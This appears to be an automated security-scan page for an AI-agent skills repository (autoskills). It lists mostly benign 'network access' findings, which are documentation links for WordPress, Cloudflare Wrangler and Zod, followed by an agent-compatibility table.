- https://developer.wordpress.org/block-editor/reference-guides/block-api/block-deprecation/
packages/autoskills/skills-registry/wp-block-development/references/inner-blocks.md
- Network accessline 7
- Nested blocks guide: https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/nested-blocks-inner-blocks/ - Network accessline 8
- `@wordpress/block-editor` package: https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/ - Network accessline 9
- Block supports: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/
packages/autoskills/skills-registry/wp-block-development/references/registration.md
- Network accessline 19
- https://developer.wordpress.org/reference/functions/register_block_type_from_metadata/
packages/autoskills/skills-registry/wp-block-development/references/supports-and-wrappers.md
packages/autoskills/skills-registry/wp-block-development/references/tooling-and-testing.md
- Network accessline 7
- `@wordpress/scripts` for build/lint/test: - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-scripts/ - Network accessline 8
- https://developer.wordpress.org/block-editor/reference-guides/packages/packages-scripts/ - Network accessline 9
- `@wordpress/create-block` to scaffold new blocks: - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/ - Interactivity API template for `create-block`: - Network accessline 10
- https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/ - Network accessline 11
- Interactivity API template for `create-block`: - https://www.npmjs.com/package/@wordpress/create-block-interactive-template - `@wordpress/env` (wp-env) for local WordPress environments: - Network accessline 12
- https://www.npmjs.com/package/@wordpress/create-block-interactive-template - Network accessline 14
- https://developer.wordpress.org/block-editor/reference-guides/packages/packages-env/
packages/autoskills/skills-registry/wp-block-development/scripts/list_blocks.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/wp-block-themes/references/creating-new-block-theme.md
- Network accessline 20
- Create Block Theme plugin: - https://wordpress.org/plugins/create-block-theme/ - Network accessline 21
- https://wordpress.org/plugins/create-block-theme/ - Network accessline 22
- Block theme structure: - https://developer.wordpress.org/themes/block-themes/theme-structure/ - Required templates: - Network accessline 23
- https://developer.wordpress.org/themes/block-themes/theme-structure/ - Network accessline 25
- https://developer.wordpress.org/themes/block-themes/templates-and-template-parts/ - Network accessline 33
- Theme Handbook introduction: - https://developer.wordpress.org/themes/global-settings-and-styles/introduction-to-theme-json/ - Network accessline 34
- https://developer.wordpress.org/themes/global-settings-and-styles/introduction-to-theme-json/ - Network accessline 36
- https://make.wordpress.org/core/2024/06/19/theme-json-version-3/
packages/autoskills/skills-registry/wp-block-themes/references/patterns.md
- Network accessline 12
- https://developer.wordpress.org/themes/patterns/
packages/autoskills/skills-registry/wp-block-themes/references/style-variations.md
- Network accessline 13
- https://developer.wordpress.org/themes/global-settings-and-styles/style-variations/
packages/autoskills/skills-registry/wp-block-themes/references/templates-and-parts.md
packages/autoskills/skills-registry/wp-block-themes/references/theme-json.md
- Network accessline 16
- Theme Handbook: https://developer.wordpress.org/themes/global-settings-and-styles/ - Network accessline 17
- Block Editor Handbook (often more current): https://developer.wordpress.org/block-editor/how-to-guides/themes/theme-json/ - Network accessline 18
- Theme JSON living reference: https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/theme-json-living/ - Network accessline 19
- Theme JSON version 3 (dev note): https://make.wordpress.org/core/2024/06/19/theme-json-version-3/ - Network accessline 60
- Border radius presets: https://make.wordpress.org/core/2025/11/12/theme-json-border-radius-presets-support-in-wordpress-6-9/ - Network accessline 61
- Form element styling: https://developer.wordpress.org/news/2025/11/how-wordpress-6-9-gives-forms-a-theme-json-makeover/
packages/autoskills/skills-registry/wp-block-themes/scripts/detect_block_themes.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/wp-performance/SKILL.md
- Network accessline 127
Reference: https://make.wordpress.org/core/2025/11/18/wordpress-6-9-frontend-performance-field-guide/
packages/autoskills/skills-registry/wp-performance/references/autoload-options.md
packages/autoskills/skills-registry/wp-performance/references/cron.md
- Network accessline 13
- WP-CLI cron command package: https://github.com/wp-cli/cron-command
packages/autoskills/skills-registry/wp-performance/references/database.md
- Network accessline 19
- Query Monitor plugin: https://wordpress.org/plugins/query-monitor/
packages/autoskills/skills-registry/wp-performance/references/measurement.md
- Network accessline 6
- **WP-CLI doctor** (`wp doctor`): best for quick diagnostics (autoload bloat, debug constants, updates). - **Query Monitor via REST**: use authenticated REST requests and inspect `x-qm-*` headers / `qm` envelope data. - **Server-Timing** ( - Network accessline 7
- **Query Monitor via REST**: use authenticated REST requests and inspect `x-qm-*` headers / `qm` envelope data. - **Server-Timing** (Performance Lab): inspect `Server-Timing` headers via `curl -I` (when enabled). - **APM/profilers**: New R - Network accessline 8
- **Server-Timing** (Performance Lab): inspect `Server-Timing` headers via `curl -I` (when enabled). - Network accessline 19
- Measuring performance handbook: https://make.wordpress.org/performance/handbook/measuring-performance/ - Network accessline 20
- Benchmarking with Server-Timing: https://make.wordpress.org/performance/handbook/measuring-performance/benchmarking-server-timing/
packages/autoskills/skills-registry/wp-performance/references/object-cache.md
packages/autoskills/skills-registry/wp-performance/references/query-monitor-headless.md
packages/autoskills/skills-registry/wp-performance/references/server-timing.md
- Network accessline 7
- https://wordpress.org/plugins/performance-lab/ - Network accessline 11
- https://make.wordpress.org/performance/handbook/measuring-performance/benchmarking-server-timing/ - Network accessline 15
- Enable the relevant module/standalone plugin. - Request a URL and inspect the `Server-Timing` header: - `curl -sS -D - https://example.test/ -o /dev/null | rg -i \"^server-timing:\"` - Network accessline 17
- `curl -sS -D - https://example.test/ -o /dev/null | rg -i \"^server-timing:\"`
packages/autoskills/skills-registry/wp-performance/references/wp-cli-doctor.md
packages/autoskills/skills-registry/wp-performance/references/wp-cli-profile.md
packages/autoskills/skills-registry/wp-performance/scripts/perf_inspect.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/wp-plugin-development/references/lifecycle.md
packages/autoskills/skills-registry/wp-plugin-development/references/security.md
packages/autoskills/skills-registry/wp-plugin-development/references/settings-api.md
- Network accessline 13
- Settings API overview: https://developer.wordpress.org/plugins/settings/settings-api/ - Network accessline 14
- Register settings: https://developer.wordpress.org/plugins/settings/registration/ - Network accessline 15
- Add settings fields: https://developer.wordpress.org/plugins/settings/settings-fields/
packages/autoskills/skills-registry/wp-plugin-development/references/structure.md
- Network accessline 15
- https://developer.wordpress.org/plugins/plugin-basics/
packages/autoskills/skills-registry/wp-plugin-development/scripts/detect_plugins.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/wp-project-triage/references/triage.schema.json
packages/autoskills/skills-registry/wp-project-triage/scripts/detect_wp_project.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/wp-rest-api/SKILL.md
- Network accessline 90
- Ensure discovery works (`Link` header or `<link rel="https://api.w.org/">`).
packages/autoskills/skills-registry/wp-rest-api/references/discovery-and-params.md
packages/autoskills/skills-registry/wp-wpcli-and-ops/scripts/wpcli_inspect.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/wrangler/SKILL.md
- Network accessline 8
Use this skill only when the project has `wrangler.jsonc`, `wrangler.json`, or `wrangler.toml` and no `cloudflare.config.ts`, or when the user asks for Wrangler. For a new project, a project with `cloudflare.config.ts`, or a project with no - Network accessline 14
- Find the package manager, installed Wrangler version, package scripts, framework, and Wrangler config. Run commands through the project's scripts or package manager so they use its local version. Install dependencies using the existing lo - Network accessline 20
Use the Cloudflare MCP `docs` tool if available, or fetch the relevant linked page directly. Follow links to the specific command or product involved; avoid loading the entire reference. If a page moves, rediscover it through the [Wrangler - Network accessline 22
| Task | Source | | --- | --- | | Discover commands and flags, including resource management, deployments, rollback, and diagnostics | Project-local `wrangler --help` and `wrangler <command> --help`; [command reference](https://developers.c - Network accessline 23
| --- | --- | | Discover commands and flags, including resource management, deployments, rollback, and diagnostics | Project-local `wrangler --help` and `wrangler <command> --help`; [command reference](https://developers.cloudflare.com/work - Network accessline 24
| Discover commands and flags, including resource management, deployments, rollback, and diagnostics | Project-local `wrangler --help` and `wrangler <command> --help`; [command reference](https://developers.cloudflare.com/workers/wrangler/c - Network accessline 25
| Edit config or add a binding | Installed `wrangler/config-schema.json` (usually under `node_modules`); [configuration reference](https://developers.cloudflare.com/workers/wrangler/configuration/index.md) | - Network accessline 26
| Deploy a framework application | [Framework guides](https://developers.cloudflare.com/workers/framework-guides/index.md); follow the guide for the project's existing framework and adapter | - Network accessline 27
| Migrate an application to Workers when requested | [Pages to Workers](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/index.md); [Vercel to Workers](https://developers.cloudflare.com/workers/sta - Network accessline 28
| Configure staging or production | [Environments](https://developers.cloudflare.com/workers/wrangler/environments/index.md) | - Network accessline 29
| Set secrets locally, in CI, or on a deployed Worker | [Secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) | - Network accessline 30
| Generate binding and runtime types | [TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 31
| Run locally or choose a testing approach | [Local development](https://developers.cloudflare.com/workers/local-development/index.md); [testing](https://developers.cloudflare.com/workers/testing/index.md) | - Network accessline 32
| Choose roles, scopes, or API token permissions for Wrangler | [Roles and permissions](https://developers.cloudflare.com/workers/authorization/index.md); [Workers roles and permissions](https://developers.cloudflare.com/workers/authorizati - Network accessline 33
| Create or manage a branch or pull request environment | [Previews overview](https://developers.cloudflare.com/workers/previews/index.md); [get started](https://developers.cloudflare.com/workers/previews/get-started/index.md); [configurati - Network accessline 34
| Decide whether Preview resources are isolated or shared | [Resources and isolation](https://developers.cloudflare.com/workers/previews/resources/index.md), including its current limitations | - Network accessline 35
| Configure Preview URLs, access, debugging, or CI | [Custom domains](https://developers.cloudflare.com/workers/previews/custom-domains/index.md); [test and debug](https://developers.cloudflare.com/workers/previews/test-and-debug/index.md); - Network accessline 36
| Choose between Previews, Version URLs, and Wrangler environments | [Compare workflows](https://developers.cloudflare.com/workers/previews/compare-workflows/index.md) | - Network accessline 37
| Diagnose authentication or select an account | [General commands](https://developers.cloudflare.com/workers/wrangler/commands/general/index.md), including `whoami`; [authentication profiles](https://developers.cloudflare.com/workers/wrang - Network accessline 38
| Deploy an unauthenticated prototype | [Claim deployments](https://developers.cloudflare.com/workers/platform/claim-deployments/index.md) for eligibility, expiry, and claim URL handling; use a permanent account for production or CI | - Network accessline 44
- Prefer `wrangler.jsonc` for new config. Set a new project's [compatibility date](https://developers.cloudflare.com/workers/configuration/compatibility-dates/index.md) to today; review runtime changes and test when advancing an existing pr - Network accessline 45
- Check environment inheritance before adding bindings or variables. Some fields must be specified separately for each environment; a working default config does not establish that staging is configured. - With the Cloudflare Vite plugin, s - Network accessline 46
- With the Cloudflare Vite plugin, select the environment via `CLOUDFLARE_ENV` at dev or build time. Deploy the resulting build; setting an environment at deploy time does not retarget its flattened config. See [Vite environments](https://d - Network accessline 47
- Reconcile dashboard changes with the config before deploying: Wrangler can overwrite dashboard variables and routes. When binding existing resources, verify their identifiers; omitted identifiers can trigger [automatic provisioning](https - Network accessline 50
- Keep secret values out of command arguments, source code, and logs. Use the documented interactive input or protected file/stdin mechanism for the command. Local secret files must be ignored by version control and are not automatically up - Network accessline 52
- Before a rollback, check [rollback limitations](https://developers.cloudflare.com/workers/versions-and-deployments/rollbacks/index.md): connected resources and their data are not rolled back with Worker code. - Network accessline 56
- Workers Previews requires project-local Wrangler 4.135.0 or later; project commands do not use a newer global installation. Check the project's pinned version and make any required dependency upgrade explicit. - Use Previews for branch an - Network accessline 57
- Use Previews for branch and pull request environments under the same Worker. Use Version URLs to inspect a specific uploaded version with production resources, and Wrangler environments for persistent, separately deployed Workers. Follow - Network accessline 58
- First inspect how the user manages production configuration and deployments. Configure Preview domains through the same configuration system as production, such as Wrangler, the dashboard, or Terraform. Run Preview deployments through the - Network accessline 59
- Before deploying, follow the current [configuration placement table](https://developers.cloudflare.com/workers/previews/configuration/index.md#what-goes-in-the-previews-block) and [resource matrix and limitations](https://developers.cloud - Network accessline 60
- Tell the user that Preview URLs are public unless access controls are configured, then let them decide whether to protect the URLs. Follow the [custom domain and access guidance](https://developers.cloudflare.com/workers/previews/custom-d
packages/autoskills/skills-registry/xcode-build-orchestrator/references/orchestration-report-template.md
- Network accessline 131
Open a PR: https://github.com/AvdLee/Xcode-Build-Optimization-Agent-Skill/edit/main/README.md
packages/autoskills/skills-registry/xcode-build-orchestrator/scripts/benchmark_builds.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/xcode-build-orchestrator/scripts/diagnose_compilation.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/xcode-build-orchestrator/scripts/generate_optimization_report.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/zod/AGENTS.md
- Network accessline 78
1. [https://zod.dev/](https://zod.dev/) - Network accessline 79
2. [https://zod.dev/v4](https://zod.dev/v4) - Network accessline 80
3. [https://github.com/colinhacks/zod](https://github.com/colinhacks/zod) - Network accessline 81
4. [https://zod.dev/packages/mini](https://zod.dev/packages/mini) - Network accessline 82
5. [https://www.totaltypescript.com/tutorials/zod](https://www.totaltypescript.com/tutorials/zod) - Network accessline 83
6. [https://zod.dev/error-handling](https://zod.dev/error-handling) - Network accessline 84
7. [https://zod.dev/api](https://zod.dev/api)
packages/autoskills/skills-registry/zod/README.md
packages/autoskills/skills-registry/zod/SKILL.md
- Network accessline 123
- [Zod Official Documentation](https://zod.dev/) - Network accessline 124
- [Zod v4 Release Notes](https://zod.dev/v4) - Network accessline 125
- [Zod GitHub Repository](https://github.com/colinhacks/zod) - Network accessline 126
- [Zod Mini](https://zod.dev/packages/mini) - Network accessline 127
- [Total TypeScript Zod Tutorial](https://www.totaltypescript.com/tutorials/zod)
packages/autoskills/skills-registry/zod/metadata.json
- Network accessline 6
"abstract": "Comprehensive schema validation guide for Zod in TypeScript applications, designed for AI agents and LLMs. Contains 43 rules across 8 categories, prioritized by impact from critical (schema definition, parsing) to incremental ( - Network accessline 7
"references": [ "https://zod.dev/", "https://zod.dev/v4", - Network accessline 8
"https://zod.dev/", - Network accessline 9
"https://zod.dev/v4", - Network accessline 10
"https://github.com/colinhacks/zod", - Network accessline 11
"https://zod.dev/packages/mini", - Network accessline 12
"https://www.totaltypescript.com/tutorials/zod", - Network accessline 13
"https://zod.dev/error-handling", - Network accessline 14
"https://zod.dev/api"
packages/autoskills/skills-registry/zod/references/compose-intersection.md
- Network accessline 144
Reference: [Zod API - intersection](https://zod.dev/api#intersection)
packages/autoskills/skills-registry/zod/references/compose-lazy-recursive.md
- Network accessline 143
Reference: [Zod API - Recursive Types](https://zod.dev/api#recursive-types)
packages/autoskills/skills-registry/zod/references/compose-pipe.md
- Network accessline 113
Reference: [Zod API - pipe](https://zod.dev/api#pipe)
packages/autoskills/skills-registry/zod/references/compose-preprocess.md
- Network accessline 142
Reference: [Zod API - preprocess](https://zod.dev/api#preprocess)
packages/autoskills/skills-registry/zod/references/compose-shared-schemas.md
- Network accessline 137
Reference: [Zod - Type Inference](https://zod.dev/api#type-inference)
packages/autoskills/skills-registry/zod/references/error-avoid-throwing-in-refine.md
- Network accessline 127
Reference: [Zod API - Refine](https://zod.dev/api#refine)
packages/autoskills/skills-registry/zod/references/error-custom-messages.md
- Network accessline 118
Reference: [Zod Error Customization](https://zod.dev/error-customization)
packages/autoskills/skills-registry/zod/references/error-i18n.md
- Network accessline 145
Reference: [Zod Error Customization - Internationalization](https://zod.dev/error-customization#internationalization)
packages/autoskills/skills-registry/zod/references/error-path-for-nested.md
- Network accessline 130
Reference: [Zod Error Handling](https://zod.dev/error-handling)
packages/autoskills/skills-registry/zod/references/error-use-flatten.md
- Network accessline 131
Reference: [Zod Error Handling](https://zod.dev/error-handling)
packages/autoskills/skills-registry/zod/references/object-discriminated-unions.md
- Network accessline 138
Reference: [Zod API - Discriminated Unions](https://zod.dev/api#discriminated-unions)
packages/autoskills/skills-registry/zod/references/object-extend-for-composition.md
- Network accessline 147
Reference: [Zod API - extend](https://zod.dev/api#extend)
packages/autoskills/skills-registry/zod/references/object-optional-vs-nullable.md
- Network accessline 117
Reference: [Zod API - optional/nullable](https://zod.dev/api#optional)
packages/autoskills/skills-registry/zod/references/object-partial-for-updates.md
- Network accessline 123
Reference: [Zod API - partial](https://zod.dev/api#partial)
packages/autoskills/skills-registry/zod/references/object-pick-omit.md
- Network accessline 146
Reference: [Zod API - pick/omit](https://zod.dev/api#pickomit)
packages/autoskills/skills-registry/zod/references/object-strict-vs-strip.md
- Network accessline 109
Reference: [Zod API - Objects](https://zod.dev/api#objects)
packages/autoskills/skills-registry/zod/references/parse-async-for-async-refinements.md
- Network accessline 118
Reference: [Zod API - parseAsync](https://zod.dev/api#parseasync)
packages/autoskills/skills-registry/zod/references/parse-avoid-double-validation.md
- Network accessline 129
Reference: [Zod Performance](https://zod.dev/v4#performance)
packages/autoskills/skills-registry/zod/references/parse-handle-all-issues.md
- Network accessline 125
Reference: [Zod Error Handling](https://zod.dev/error-handling)
packages/autoskills/skills-registry/zod/references/parse-never-trust-json.md
packages/autoskills/skills-registry/zod/references/parse-use-safeparse.md
- Network accessline 102
Reference: [Zod API - safeParse](https://zod.dev/api#safeparse)
packages/autoskills/skills-registry/zod/references/parse-validate-early.md
packages/autoskills/skills-registry/zod/references/perf-arrays.md
- Network accessline 153
Reference: [Zod Performance](https://zod.dev/v4#performance)
packages/autoskills/skills-registry/zod/references/perf-avoid-dynamic-creation.md
- Network accessline 139
Reference: [Zod v4 Performance](https://zod.dev/v4#performance)
packages/autoskills/skills-registry/zod/references/perf-cache-schemas.md
- Network accessline 138
Reference: [Zod Performance](https://zod.dev/v4#performance)
packages/autoskills/skills-registry/zod/references/perf-lazy-loading.md
- Network accessline 135
Reference: [Next.js Dynamic Imports](https://nextjs.org/docs/app/building-your-application/optimizing/lazy-loading)
packages/autoskills/skills-registry/zod/references/perf-zod-mini.md
- Network accessline 117
Reference: [Zod Mini](https://zod.dev/packages/mini)
packages/autoskills/skills-registry/zod/references/refine-add-path.md
- Network accessline 141
Reference: [Zod API - refine](https://zod.dev/api#refine)
packages/autoskills/skills-registry/zod/references/refine-catch.md
- Network accessline 143
Reference: [Zod API - catch](https://zod.dev/api#catch)
packages/autoskills/skills-registry/zod/references/refine-defaults.md
- Network accessline 131
Reference: [Zod API - default](https://zod.dev/api#default)
packages/autoskills/skills-registry/zod/references/refine-transform-coerce.md
- Network accessline 105
Reference: [Zod API - transform](https://zod.dev/api#transform)
packages/autoskills/skills-registry/zod/references/refine-vs-superrefine.md
- Network accessline 152
Reference: [Zod API - refine/superRefine](https://zod.dev/api#refine)
packages/autoskills/skills-registry/zod/references/schema-avoid-optional-abuse.md
- Network accessline 93
Reference: [Zod API - optional](https://zod.dev/api#optional)
packages/autoskills/skills-registry/zod/references/schema-coercion-for-form-data.md
- Network accessline 88
Reference: [Zod API - Coercion](https://zod.dev/api#coercion)
packages/autoskills/skills-registry/zod/references/schema-string-validations.md
- Network accessline 90
Reference: [Zod API - Strings](https://zod.dev/api#strings)
packages/autoskills/skills-registry/zod/references/schema-use-enums.md
- Network accessline 107
Reference: [Zod API - Enums](https://zod.dev/api#enums)
packages/autoskills/skills-registry/zod/references/schema-use-primitives-correctly.md
- Network accessline 61
Reference: [Zod Primitives](https://zod.dev/api#primitives)
packages/autoskills/skills-registry/zod/references/schema-use-unknown-not-any.md
- Network accessline 88
Reference: [Zod API - unknown](https://zod.dev/api#unknown)
packages/autoskills/skills-registry/zod/references/type-branded-types.md
- Network accessline 102
Reference: [Zod API - brand](https://zod.dev/api#brand)
packages/autoskills/skills-registry/zod/references/type-enable-strict-mode.md
- Network accessline 130
Reference: [Zod Requirements](https://zod.dev/#requirements)
packages/autoskills/skills-registry/zod/references/type-export-schemas-and-types.md
- Network accessline 116
Reference: [Zod API - Type Inference](https://zod.dev/api#type-inference)
packages/autoskills/skills-registry/zod/references/type-input-vs-output.md
- Network accessline 116
Reference: [Zod - Type Inference](https://zod.dev/api#type-inference)
packages/autoskills/skills-registry/zod/references/type-use-z-infer.md
- Network accessline 110
Reference: [Zod - Type Inference](https://zod.dev/api#type-inference)
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Signal confidence: 500 facts
- Network access in code of the SKILL.mdaccessibility/SKILL.md:412High confidence
- Network access in code of the SKILL.mdaccessibility/SKILL.md:413High confidence
- Network access in code of the SKILL.mdaccessibility/SKILL.md:415High confidence
- Network access in code of the SKILL.mdaccessibility/SKILL.md:417High confidence
- Network access in prose of the SKILL.mdaccessibility/SKILL.md:459Low confidence
- Network access in prose of the SKILL.mdaccessibility/SKILL.md:460Low confidence
- Network access in prose of the SKILL.mdaccessibility/SKILL.md:461Low confidence
- Network access in code of documentationaccessibility/references/WCAG.md:109Low confidence
- Network access in code of documentationaccessibility/references/WCAG.md:110Low confidence
- Network access in code of documentationaccessibility/references/WCAG.md:111Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:178Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:179Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:180Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:181Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:182Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:183Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:185Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:189Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:190Low confidence
- Network access in prose of documentationaccessibility/references/WCAG.md:191Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:12Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:14Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:15Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:16Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:17Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:18Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:19Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:20Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:21Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:22Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:23Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:24Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:25Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:26Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:27Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:28Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:29Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:30Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:31Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:32Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:33Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:34Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:35Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:36Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:37Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:38Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:39Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:40Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:41Low confidence
- Network access in prose of the SKILL.mdagents-sdk/SKILL.md:42Low confidence
and 450 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Frontmatter field disable-model-invocation in packages/autoskills/skills-registry/drizzle/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Native | Manifest AGENTS.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md packages/autoskills/skills-registry/accessibility/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md packages/autoskills/skills-registry/accessibility/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md packages/autoskills/skills-registry/accessibility/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Native | Path .opencode/command/check.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.
Explore alternatives and comparisons
Add this badge to your README
It updates every night and links to this page.
[](https://hotskills.dev/skill/midudev-autoskills/)